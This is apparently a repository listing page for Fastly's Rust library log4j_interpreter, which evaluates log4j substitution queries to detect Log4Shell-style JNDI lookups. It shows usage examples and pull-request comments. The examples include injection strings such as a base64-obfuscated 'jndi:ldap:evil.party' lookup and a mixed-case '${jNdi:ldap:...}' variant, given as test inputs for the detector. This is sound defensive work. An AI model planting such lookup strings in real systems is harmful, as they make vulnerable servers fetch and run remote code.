A Rust library for evaluating log4j substitution queries in order to determine whether or not malicious queries may exist.

Fastly

Last update: Nov 7, 2022

Related tags

Command-line log4j_interpreter

Overview

log4j_interpreter

A Rust library for evaluating log4j substitution queries in order to determine whether or not malicious queries may exist.

Limitations

Encoding

This tool assumes any log line has already been decoded before being passed to the tool. For example, if the log line is URL encoded or base64 encoded when it's passed to this tool, it will by pass the tool. Only fully decoded log lines should be passed to the tool.

Interpolation

This tool assumes it's operating on entire log lines at once. Should the processed lines be passed to additional log aggregators that interpolate values again, this tool does not capture cases where the interpolated values re-expose a vulnerability.

Test Executable

This package includes a test executable to which test strings can be passed on the command line.

Here is an example detecting an obfuscated use of jndi:.

$ ./log4j_interpreter
Usage: ./log4j_interpreter [test string]
$ ./log4j_interpreter 'hello ${base64:JHtqbmRpOmxkYXA6ZXZpbC5wYXJ0eX0=}'
Substituted: hello jndi:ldap:evil.party
JNDI: true
ENV: false
Recursion Limit: false

Here is an example that allows a benign string to pass:

$ ./log4j_interpreter 'a benign string ${base64:d2l0aCBzb21lIGJhc2U2NA==}'
Substituted: a benign string with some base64
JNDI: false
ENV: false
Recursion Limit: false

Comments

handle alternate ASCII case for log4j lookups

this PR builds on #2. log4j handles ${jNdi:ldap:your.cool.hostname} the same way it handles a lower-case ${jNdi:ldap:your.cool.hostname}, and the parser should recognize this. it seems that case-insensitivity applies for all log4j lookups, but does not normalize over things like unicode characters that lower-case to a useful ASCII character.

conveniently, this makes case-insensitive matching here pretty easy to add.

opened by awortman-fastly 1
Add better date handling.
We had a report that some date fields weren't properly handled. This PR adds stronger date expansion support.

New handlers were added by more closely investigating the log4j documentation around ${date:...}.

https://logging.apache.org/log4j/2.x/manual/lookups.html

https://docs.oracle.com/javase/6/docs/api/java/text/SimpleDateFormat.html
opened by sw17ch 0
handle 'date' and 'main' lookups, expand 'env'

The logic for these lookups is simple and lossy, but that's acceptable since we can at least report that these lookups will be made. For some users it is reasonable to simply reject a log line at the presence of main or date, regardless of later findings. For other users, it doesn't seem possible to have a general transformation between a main or date lookup, and a string useful to build other more concerning lookup tokens (like jndi or env).

edit: also adjusted the env expansion to assume that env vars are for undefined variables (so, expand to ""), but use a default value if one is provided - ${env:UNDEFINED:-hello} should expand to hello.

opened by awortman-fastly 0

A Rust library for evaluating log4j substitution queries in order to determine whether or not malicious queries may exist.

Related tags

Overview

log4j_interpreter

Limitations

Encoding

Interpolation

Test Executable

You might also like...

Parallel iteration of FASTA/FASTQ files, for when sequence order doesn't matter but speed does

Poisson intensity of limit order execution, calibration of parameters A and k using level 1 tick data

Like HashSet but retaining INSERTION order and without `Hash` requirement on the Element type.

Not the fastest terminal colors library. Don't even ask about size.

Learning Rust through Advent of Code 2021 - probably not very clean!

Use your computer as a cosmic ray detector! One of the memory errors Rust does not protect against.

Python package for topological data analysis written in Rust. Not limited to just H0 and H1.

Display a random Shiba from your terminal whenever you feel the need to. Because why not?

xcp is a (partial) clone of the Unix cp command. It is not intended as a full replacement

Comments

handle alternate ASCII case for log4j lookups

Add better date handling.

handle 'date' and 'main' lookups, expand 'env'

Owner

Fastly

A visual regex substitution tool

Socket Monitor: A prettier and simpler alternative to netstat or ss for socket monitoring with the ability to scan for malicious IP addresses.

This tool will profile official instances of OpenSUSE mirrorcache to determine the fastest repositories for your system

Determine which CPU architecture is used in a binary file.

Detects whether a terminal supports unicode.

Detects whether a terminal supports color, and gives details about that support

Test whether a given stream is a terminal

Source code for our paper "Higher-order finite elements for embedded simulation"

Abuse the node.js inspector mechanism in order to force any node.js/electron/v8 based process to execute arbitrary javascript code.

Adapt the screen's color spectrum according to the hour of the day in order to improve your sleep